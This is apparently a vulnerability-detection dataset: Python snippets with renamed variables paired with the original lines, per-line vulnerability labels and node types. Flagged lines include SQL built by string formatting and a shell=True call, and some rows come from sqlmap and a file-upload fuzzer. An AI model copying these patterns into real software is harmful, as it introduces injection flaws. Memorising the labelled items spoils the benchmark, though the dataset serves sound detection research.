lines listlengths 1 444 | raw_lines listlengths 1 444 | label listlengths 1 444 | type listlengths 1 444 |
|---|---|---|---|
[
"def FUNC_2(self, VAR_0):...\n",
"for s in VAR_0:\n",
"self.oms_ssh.characterReceived(s, False)\n"
] | [
"def _input(self, string):...\n",
"for s in string:\n",
"self.oms_ssh.characterReceived(s, False)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"For",
"Expr'"
] |
[
"def FUNC_4(VAR_3):...\n",
"\"\"\"docstring\"\"\"\n",
"if not VAR_3.headers.get('Authorization'):\n",
"return None\n",
"if not utils.is_local_dev_server():\n",
"return api.extract_oauth_caller_identity()\n",
"VAR_32 = VAR_3.headers['Authorization'].split(' ', 1)\n",
"if len(VAR_32) != 2 or VAR_32[0] n... | [
"def oauth_authentication(request):...\n",
"\"\"\"docstring\"\"\"\n",
"if not request.headers.get('Authorization'):\n",
"return None\n",
"if not utils.is_local_dev_server():\n",
"return api.extract_oauth_caller_identity()\n",
"header = request.headers['Authorization'].split(' ', 1)\n",
"if len(header)... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Return'",
"Condition",
"Return'",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Condition",
"Assign'",
"Return'"
] |
[
"def FUNC_21(self, VAR_1):...\n",
"VAR_16 = [VAR_25.fieldname for VAR_25 in self.meta.get_table_fields() if \n VAR_25.options == VAR_1]\n",
"return VAR_16[0] if VAR_16 else None\n"
] | [
"def get_parentfield_of_doctype(self, doctype):...\n",
"fieldname = [df.fieldname for df in self.meta.get_table_fields() if df.\n options == doctype]\n",
"return fieldname[0] if fieldname else None\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"def FUNC_21(self):...\n",
"self.run_test_case(self.scenario.list_available_images())\n"
] | [
"def test_available_images(self):...\n",
"self.run_test_case(self.scenario.list_available_images())\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_1(VAR_4):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_6 = 'string' % (', '.join(VAR_1.keys()), VAR_4)\n",
"if not isinstance(VAR_4, (str, list)):\n",
"if VAR_4 != 'all' and not set(VAR_1.keys()).issuperset(VAR_4):\n",
"VAR_4 = list(VAR_1.keys()) if VAR_4 == 'all' else VAR_4[:]\n",
"return VAR_4\n"
... | [
"def check_leagues_ids(leagues_ids):...\n",
"\"\"\"docstring\"\"\"\n",
"leagues_ids_error_msg = (\n 'Parameter `leagues_ids` should be equal to `all` or a list that contains any of %s elements. Got %s instead.'\n % (', '.join(LEAGUES_MAPPING.keys()), leagues_ids))\n",
"if not isinstance(leagues_ids, (s... | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Condition",
"Assign'",
"Return'"
] |
[
"import json\n",
"import psycopg2\n",
"VAR_0 = \"INSERT INTO %s(data) VALUES('%s') RETURNING id\"\n",
"VAR_1 = 'SELECT %s FROM %s WHERE %s'\n",
"VAR_2 = 'SELECT * FROM %s WHERE id=%s'\n",
"def __init__(self, VAR_3, VAR_4):...\n",
"self.name = VAR_3\n",
"self.connection = VAR_4\n",
"self.cursor = sel... | [
"import json\n",
"import psycopg2\n",
"SQL_INSERT_JSON = \"INSERT INTO %s(data) VALUES('%s') RETURNING id\"\n",
"SQL_QUERY_JSON = 'SELECT %s FROM %s WHERE %s'\n",
"SQL_GET_JSON = 'SELECT * FROM %s WHERE id=%s'\n",
"def __init__(self, name, connection):...\n",
"self.name = name\n",
"self.connection = c... | [
0,
0,
4,
0,
0,
0,
0,
0,
0,
0,
0,
0,
4,
0
] | [
"Import'",
"Import'",
"Assign'",
"Assign'",
"Assign'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"Return'"
] |
[
"@classmethod...\n",
"return [FUNC_27, FUNC_28]\n"
] | [
"@classmethod...\n",
"return [not_applicable, applicable]\n"
] | [
0,
0
] | [
"Condition",
"Return'"
] |
[
"def FUNC_3(self, VAR_14):...\n",
"if not self.stopThreads:\n",
"VAR_13 = VAR_14.result()[0].text\n",
"return None\n",
"VAR_37 = VAR_14.ext[0]\n",
"VAR_28 = self.isASuccessfulUpload(VAR_13)\n",
"if VAR_28:\n",
"self.validExtensions.append(VAR_37)\n",
"return VAR_28\n",
"if self.shouldLog:\n",
"s... | [
"def detectValidExtension(self, future):...\n",
"if not self.stopThreads:\n",
"html = future.result()[0].text\n",
"return None\n",
"ext = future.ext[0]\n",
"r = self.isASuccessfulUpload(html)\n",
"if r:\n",
"self.validExtensions.append(ext)\n",
"return r\n",
"if self.shouldLog:\n",
"self.logger.... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Return'",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Return'",
"Condition",
"Expr'",
"Condition",
"Expr'"
] |
[
"\"\"\"string\"\"\"\n",
"from lib.core.agent import agent\n",
"from lib.core.data import conf\n",
"from lib.core.data import kb\n",
"from lib.core.data import logger\n",
"from lib.core.data import queries\n",
"from lib.core.session import setUnion\n",
"from lib.request.connect import Connect as Reques... | [
"\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>\n and Daniele Bellucci <daniele.bellucci@gmail.com>\n\nsqlmap is free software; you can redistribute it and/or modify it under\... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
2,
0,
0,
0,
0,
0,
2,
0,
0,
0,
0,
2,
2,
0,
2,
0,
0,
0,
0,
2,
0,
0,
2,
0,
2
] | [
"Expr'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"FunctionDef'",
"Docstring",
"Assign'",
"For",
"Condition",
"Return'",
"Assign'",
"Condition",
"AugAssign'",
"Condition",
"AugAssign'",
"Assign'",
"Assign'",
"A... |
[
"def FUNC_7(self, VAR_9):...\n",
"for VAR_6 in self.clients:\n",
"if VAR_6 not in VAR_9:\n",
"self.close_client(VAR_6)\n"
] | [
"def update_client_status(self, active_set):...\n",
"for language in self.clients:\n",
"if language not in active_set:\n",
"self.close_client(language)\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"For",
"Condition",
"Expr'"
] |
[
"def FUNC_0():...\n",
"return BuildFileAliases(targets={PythonApp.alias(): PythonApp, PythonBinary\n .alias(): PythonBinary, PythonLibrary.alias(): PythonLibrary,\n PythonTests.alias(): PythonTests, PythonDistribution.alias():\n PythonDistribution, 'python_requirement_library':\n PythonRequirementLibr... | [
"def build_file_aliases():...\n",
"return BuildFileAliases(targets={PythonApp.alias(): PythonApp, PythonBinary\n .alias(): PythonBinary, PythonLibrary.alias(): PythonLibrary,\n PythonTests.alias(): PythonTests, PythonDistribution.alias():\n PythonDistribution, 'python_requirement_library':\n PythonReq... | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_6(self, VAR_29):...\n",
"if VAR_29 is None:\n",
"return VAR_101.user.pref_numsites\n",
"return VAR_54(VAR_55(int(VAR_29), 1), 250)\n"
] | [
"def run(self, limit):...\n",
"if limit is None:\n",
"return c.user.pref_numsites\n",
"return min(max(int(limit), 1), 250)\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"import hashlib\n",
"import inspect\n",
"import logging\n",
"import os\n",
"import re\n",
"import sys\n",
"import tempfile\n",
"import csv\n",
"import gzip\n",
"from datetime import datetime\n",
"from time import time\n",
"from io import StringIO\n",
"from sqlalchemy import event\n",
"from... | [
"import hashlib\n",
"import inspect\n",
"import logging\n",
"import os\n",
"import re\n",
"import sys\n",
"import tempfile\n",
"import csv\n",
"import gzip\n",
"from datetime import datetime\n",
"from time import time\n",
"from io import StringIO\n",
"from sqlalchemy import event\n",
"from... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"Assign... |
[
"def FUNC_16(self, VAR_27, VAR_6, VAR_28):...\n",
"self.host_list.append(VAR_28)\n",
"self.logger.debug('Saving component to tmp')\n",
"VAR_48 = '%s/%s.yaml' % (VAR_2, VAR_6)\n",
"FUNC_10(VAR_48)\n",
"dump(VAR_27, outfile, default_flow_style=False)\n",
"self.logger.debug('Copying component \"%s\" to rem... | [
"def copy_component_to_remote(self, infile, comp, host):...\n",
"self.host_list.append(host)\n",
"self.logger.debug('Saving component to tmp')\n",
"tmp_comp_path = '%s/%s.yaml' % (TMP_COMP_DIR, comp)\n",
"ensure_dir(tmp_comp_path)\n",
"dump(infile, outfile, default_flow_style=False)\n",
"self.logger.deb... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'"
] |
[
"def FUNC_14(self, VAR_17, VAR_18, VAR_19, VAR_20):...\n",
"if VAR_18 == 'CP':\n",
"self.command(' '.join(['arm', 'mrc', str(self.targets[VAR_18]['registers'][\n VAR_17]['CP']), str(self.targets[VAR_18]['registers'][VAR_17]['Op1']),\n str(self.targets[VAR_18]['registers'][VAR_17]['CRn']), str(self.targets... | [
"def set_register_value(self, register, target, target_index, value):...\n",
"if target == 'CP':\n",
"self.command(' '.join(['arm', 'mrc', str(self.targets[target]['registers'][\n register]['CP']), str(self.targets[target]['registers'][register]['Op1'\n ]), str(self.targets[target]['registers'][register][... | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Expr'",
"Expr'"
] |
[
"def FUNC_14(self):...\n",
"return redirect(flask.url_for('goodbye'))\n"
] | [
"def redirect_to_goodbye(self):...\n",
"return redirect(flask.url_for('goodbye'))\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_0(VAR_6):...\n",
"if call(VAR_6['cmd'][1]['check'], shell=True) == 0:\n",
"return True\n",
"return False\n"
] | [
"def run_component_check(comp):...\n",
"if call(comp['cmd'][1]['check'], shell=True) == 0:\n",
"return True\n",
"return False\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_7(self):...\n",
"self.assert404(self.client.get(url_for('oauthclient.authorized', remote_app\n ='invalid')))\n",
"self.assert404(self.client.get(url_for('oauthclient.disconnect', remote_app\n ='invalid')))\n"
] | [
"def test_no_remote_app(self):...\n",
"self.assert404(self.client.get(url_for('oauthclient.authorized', remote_app\n ='invalid')))\n",
"self.assert404(self.client.get(url_for('oauthclient.disconnect', remote_app\n ='invalid')))\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Expr'"
] |
[
"def FUNC_4(self):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_7 = logging.getLogger(__name__)\n",
"VAR_7.setLevel(logging.DEBUG)\n",
"VAR_7.debug('Started run funtion')\n",
"while not self.end:\n",
"VAR_10 = []\n",
"VAR_11 = []\n",
"VAR_12 = {}\n",
"while not self.job_queue.empty():\n",
"VAR_13 = se... | [
"def run(self):...\n",
"\"\"\"docstring\"\"\"\n",
"logger = logging.getLogger(__name__)\n",
"logger.setLevel(logging.DEBUG)\n",
"logger.debug('Started run funtion')\n",
"while not self.end:\n",
"comp_jobs = []\n",
"jobs = []\n",
"already_handleled = {}\n",
"while not self.job_queue.empty():\n",
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Expr'",
"Expr'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Expr'",
"Condition",
"For",
"Expr'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
... |
[
"def FUNC_1(VAR_0, VAR_1):...\n",
""
] | [
"def render_recursive(request, depth):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_5(self, VAR_21):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_24 = self.getfile(VAR_21, VAR_23=False)\n",
"if VAR_24 is not False:\n",
"return True\n"
] | [
"def lexists(self, path):...\n",
"\"\"\"docstring\"\"\"\n",
"f = self.getfile(path, follow_symlinks=False)\n",
"if f is not False:\n",
"return True\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Return'"
] |
[
"import re\n",
"from flask import request\n",
"\"\"\"\n Stack data structure will not insert\n equal sequential data\n \"\"\"\n",
"def __init__(self, VAR_1=None, VAR_2=5):...\n",
"self.size = VAR_2\n",
"self.data = VAR_1 or []\n",
"def FUNC_5(self, VAR_3):...\n",
"if self.data:\n",
... | [
"import re\n",
"from flask import request\n",
"\"\"\"\n Stack data structure will not insert\n equal sequential data\n \"\"\"\n",
"def __init__(self, list=None, size=5):...\n",
"self.size = size\n",
"self.data = list or []\n",
"def push(self, item):...\n",
"if self.data:\n",
"if ite... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"ImportFrom'",
"Expr'",
"FunctionDef'",
"Assign'",
"Assign'",
"FunctionDef'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"Condition",
"Expr'",
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"def __init__(self, VAR_18, VAR_35=10000, **VAR_16):...\n",
"CLASS_17.__init__(self, VAR_18, VAR_35=length, VAR_36=errors.NO_MSG_BODY, **kw)\n"
] | [
"def __init__(self, item, length=10000, **kw):...\n",
"VLength.__init__(self, item, length=length, empty_error=errors.NO_MSG_BODY,\n **kw)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_1(self, VAR_3):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_4 = '/api/keys'\n",
"VAR_5 = {'id': 'mykey@box.local', 'public': VAR_3}\n",
"VAR_6 = self.client.post(VAR_4, json.dumps(VAR_5), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_6.status_code, 201)\n",
"VAR_7 = VAR_6.data['i... | [
"def _check_key(self, pubkey):...\n",
"\"\"\"docstring\"\"\"\n",
"url = '/api/keys'\n",
"body = {'id': 'mykey@box.local', 'public': pubkey}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 201)\n",
"key_id = respon... | [
0,
0,
0,
0,
5,
0,
0,
5,
0,
0,
0,
0,
0,
0,
0,
5,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_22(self, VAR_6):...\n",
"VAR_49 = self.nodes.get(VAR_6['name'])\n",
"VAR_50 = []\n",
"VAR_51 = []\n",
"dep_resolve(VAR_49, VAR_50, VAR_51)\n",
"VAR_50.remove(VAR_49)\n",
"return VAR_50\n"
] | [
"def get_dep_list(self, comp):...\n",
"node = self.nodes.get(comp['name'])\n",
"res = []\n",
"unres = []\n",
"dep_resolve(node, res, unres)\n",
"res.remove(node)\n",
"return res\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Return'"
] |
[
"def FUNC_15(self):...\n",
"VAR_12 = Client()\n",
"self.response = VAR_12.get(reverse('root-redirect'))\n",
"return self\n"
] | [
"def when_call_root_redirect(self):...\n",
"client = Client()\n",
"self.response = client.get(reverse('root-redirect'))\n",
"return self\n"
] | [
0,
0,
6,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_6(self, VAR_10, VAR_11, VAR_12=None, VAR_20=None):...\n",
"VAR_30 = self.uploadFile(VAR_10, VAR_11, VAR_12)\n",
"VAR_31 = self.isASuccessfulUpload(VAR_30[0].text)\n",
"VAR_23 = {'uploaded': False, 'codeExec': False}\n",
"if VAR_31:\n",
"VAR_23['uploaded'] = True\n",
"return VAR_23\n",
"if se... | [
"def submitTestCase(self, suffix, mime, payload=None, codeExecRegex=None):...\n",
"fu = self.uploadFile(suffix, mime, payload)\n",
"uploadRes = self.isASuccessfulUpload(fu[0].text)\n",
"result = {'uploaded': False, 'codeExec': False}\n",
"if uploadRes:\n",
"result['uploaded'] = True\n",
"return result\n... | [
0,
7,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
7,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Condition",
"Expr'",
"Condition",
"Condition",
"Condition",
"Expr'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Assign'",
... |
[
"def FUNC_11(self):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_46 = self.xsrf_token\n",
"if not VAR_46:\n",
"return CLASS_0.validate(VAR_46, [api.get_current_identity().to_bytes()])\n"
] | [
"def verify_xsrf_token(self):...\n",
"\"\"\"docstring\"\"\"\n",
"token = self.xsrf_token\n",
"if not token:\n",
"return XSRFToken.validate(token, [api.get_current_identity().to_bytes()])\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Return'"
] |
[
"def FUNC_23(self, VAR_13):...\n",
"\"\"\"docstring\"\"\"\n",
"if VAR_13 > 3:\n",
"return None\n",
"VAR_30 = '00000000'\n",
"if VAR_13 > 1:\n",
"VAR_30 = '00000001'\n",
"VAR_23, VAR_22 = shellutil.run_get_output(\n 'sysctl dev.storvsc | grep pnpinfo | grep deviceid=')\n",
"VAR_13 = VAR_13 - 2\n",... | [
"def device_for_ide_port(self, port_id):...\n",
"\"\"\"docstring\"\"\"\n",
"if port_id > 3:\n",
"return None\n",
"g0 = '00000000'\n",
"if port_id > 1:\n",
"g0 = '00000001'\n",
"err, output = shellutil.run_get_output(\n 'sysctl dev.storvsc | grep pnpinfo | grep deviceid=')\n",
"port_id = port_id -... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Return'",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assig... |
[
"\"\"\"string\"\"\"\n",
"import copy\n",
"from flask import current_app, session\n",
"from flask.ext.login import current_user\n",
"from invenio.ext.sqlalchemy.utils import session_manager\n",
"VAR_0 = dict(title='ORCID', description=\n 'Connecting Research and Researchers.', icon='', authorized_handle... | [
"\"\"\"Pre-configured remote application for enabling sign in/up with ORCID.\n\n**Usage:**\n\n1. Edit your configuration and add:\n\n .. code-block:: python\n\n from invenio.modules.oauthclient.contrib import orcid\n OAUTHCLIENT_REMOTE_APPS = dict(\n orcid=orcid.REMOTE_APP,\n )\n\n ... | [
0,
0,
0,
0,
0,
5,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Expr'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"FunctionDef'",
"Docstring",
"Assign'",
"Return'"
] |
[
"def FUNC_13(self):...\n",
"\"\"\"docstring\"\"\"\n",
"return self.task.__acl__()\n"
] | [
"def get_discount_line_acl(self):...\n",
"\"\"\"docstring\"\"\"\n",
"return self.task.__acl__()\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def __init__(self, VAR_0, VAR_1):...\n",
"self.user = VAR_0\n",
"self.file = VAR_1\n",
"self.raw_data = None\n"
] | [
"def __init__(self, user, file):...\n",
"self.user = user\n",
"self.file = file\n",
"self.raw_data = None\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_1(self):...\n",
"self.start_time = time.time()\n",
"VAR_13 = []\n",
"VAR_14 = 3\n",
"VAR_15 = len(self.scenes)\n",
"for i in range(VAR_14):\n",
"VAR_18 = int(VAR_15 / VAR_14 * i)\n",
"for VAR_20 in VAR_13:\n",
"VAR_19 = int(VAR_15 / VAR_14 * (i + 1))\n",
"VAR_3.info('abouto call join for... | [
"def create_analysis_threads(self):...\n",
"self.start_time = time.time()\n",
"threads = []\n",
"num_threads = 3\n",
"length = len(self.scenes)\n",
"for i in range(num_threads):\n",
"i1 = int(length / num_threads * i)\n",
"for t in threads:\n",
"i2 = int(length / num_threads * (i + 1))\n",
"LOG.in... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"For",
"Assign'",
"For",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Condition",
"E... |
[
"def FUNC_12(self):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_22 = self.env['crapo.automaton']\n",
"VAR_23 = self.env['ir.model'].search([('model', '=', self._state_for_model)\n ], limit=1)\n",
"VAR_24 = VAR_22.search([('model_id', '=', VAR_23.id)])\n",
"if not VAR_24:\n",
"VAR_24 = VAR_22.create({'name... | [
"def _do_search_default_automaton(self):...\n",
"\"\"\"docstring\"\"\"\n",
"automaton_model = self.env['crapo.automaton']\n",
"my_model = self.env['ir.model'].search([('model', '=', self.\n _state_for_model)], limit=1)\n",
"my_automaton = automaton_model.search([('model_id', '=', my_model.id)])\n",
"if... | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Return'"
] |
[
"\"\"\"string\"\"\"\n",
"import argparse\n",
"import importlib\n",
"import os\n",
"import sys\n",
"from parlai.core.agents import get_agent_module, get_task_module\n",
"from parlai.tasks.tasks import ids_to_tasks\n",
"def FUNC_0(VAR_0):...\n",
"VAR_3 = VAR_0.lower()\n",
"if VAR_3 in ('yes', 'true'... | [
"\"\"\"Provides an argument parser and a set of default command line options for\nusing the ParlAI package.\n\"\"\"\n",
"import argparse\n",
"import importlib\n",
"import os\n",
"import sys\n",
"from parlai.core.agents import get_agent_module, get_task_module\n",
"from parlai.tasks.tasks import ids_to_t... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Expr'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"FunctionDef'",
"Assign'",
"Condition",
"Return'",
"Condition",
"Return'",
"FunctionDef'",
"Docstring",
"Condition",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_2(self, VAR_1, VAR_2, *VAR_3, **VAR_4):...\n",
"self.handled_resp = VAR_1\n",
"self.handled_remote = VAR_2\n",
"self.handled_args = VAR_3\n",
"self.handled_kwargs = VAR_4\n",
"return 'TEST'\n"
] | [
"def handler(self, resp, remote, *args, **kwargs):...\n",
"self.handled_resp = resp\n",
"self.handled_remote = remote\n",
"self.handled_args = args\n",
"self.handled_kwargs = kwargs\n",
"return 'TEST'\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"from __future__ import unicode_literals\n",
"import frappe, unittest\n",
"from frappe.model.db_query import DatabaseQuery\n",
"from frappe.desk.reportview import get_filters_cond\n",
"def FUNC_1(self):...\n",
"self.assertTrue({'name': 'DocType'} in DatabaseQuery('DocType').execute(\n limit_page_length... | [
"from __future__ import unicode_literals\n",
"import frappe, unittest\n",
"from frappe.model.db_query import DatabaseQuery\n",
"from frappe.desk.reportview import get_filters_cond\n",
"def test_basic(self):...\n",
"self.assertTrue({'name': 'DocType'} in DatabaseQuery('DocType').execute(\n limit_page_le... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
"ImportFrom'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Expr'",
"Expr'",
"For",
"Expr'",
"For",
"Expr'",
... |
[
"def FUNC_13(self, VAR_9, VAR_10=None, VAR_11=None, VAR_17='', VAR_18='',...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_28 = self.get_and_check_task(VAR_9, VAR_10, VAR_11)\n",
"VAR_29 = VAR_28.get_tile_path(VAR_17, VAR_18, VAR_19)\n",
"if os.path.isfile(VAR_29):\n",
"VAR_32 = open(VAR_29, 'rb')\n",
"return Htt... | [
"def get(self, request, pk=None, project_pk=None, z='', x='', y=''):...\n",
"\"\"\"docstring\"\"\"\n",
"task = self.get_and_check_task(request, pk, project_pk)\n",
"tile_path = task.get_tile_path(z, x, y)\n",
"if os.path.isfile(tile_path):\n",
"tile = open(tile_path, 'rb')\n",
"return HttpResponse(FileW... | [
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Return'"
] |
[
"def FUNC_8(self, VAR_17, VAR_18, VAR_19):...\n",
"\"\"\"docstring\"\"\"\n",
"if not VAR_17:\n",
"return self.CreateError('Step name must be specified', 400)\n",
"if not VAR_18:\n",
"return self.CreateError('Test name must be specified', 400)\n",
"if VAR_19 and not VAR_19.isdigit():\n",
"return self.C... | [
"def _ValidateInput(self, step_name, test_name, bug_id):...\n",
"\"\"\"docstring\"\"\"\n",
"if not step_name:\n",
"return self.CreateError('Step name must be specified', 400)\n",
"if not test_name:\n",
"return self.CreateError('Test name must be specified', 400)\n",
"if bug_id and not bug_id.isdigit():\... | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Return'",
"Condition",
"Return'",
"Condition",
"Return'",
"Return'"
] |
[
"from django.db import models, migrations\n",
"from django.utils import timezone\n",
"import datetime\n",
"import exercise.submission_models\n",
"import lib.helpers\n",
"import exercise.exercise_models\n",
"import lib.fields\n",
"VAR_0 = [('inheritance', '0001_initial'), ('userprofile', '0001_initial'... | [
"from django.db import models, migrations\n",
"from django.utils import timezone\n",
"import datetime\n",
"import exercise.submission_models\n",
"import lib.helpers\n",
"import exercise.exercise_models\n",
"import lib.fields\n",
"dependencies = [('inheritance', '0001_initial'), ('userprofile',\n '0... | [
0,
0,
0,
0,
0,
0,
0,
0,
4
] | [
"ImportFrom'",
"ImportFrom'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Assign'",
"Assign'"
] |
[
"from django.core.exceptions import PermissionDenied\n",
"from django.template.response import SimpleTemplateResponse\n",
"from lib.viewbase import BaseMixin, BaseTemplateView\n",
"from authorization.permissions import ACCESS\n",
"from .models import UserProfile\n",
"VAR_0 = ACCESS.STUDENT\n",
"VAR_1 = ... | [
"from django.core.exceptions import PermissionDenied\n",
"from django.template.response import SimpleTemplateResponse\n",
"from lib.viewbase import BaseMixin, BaseTemplateView\n",
"from authorization.permissions import ACCESS\n",
"from .models import UserProfile\n",
"access_mode = ACCESS.STUDENT\n",
"lo... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
4,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Assign'",
"FunctionDef'",
"Expr'",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'"
] |
[
"def FUNC_6(self):...\n",
"if self._owned:\n",
"if self._listenerthread != threading.current_thread():\n",
"self._conn.close()\n",
"self._listenerthread.join(VAR_6=1.0)\n",
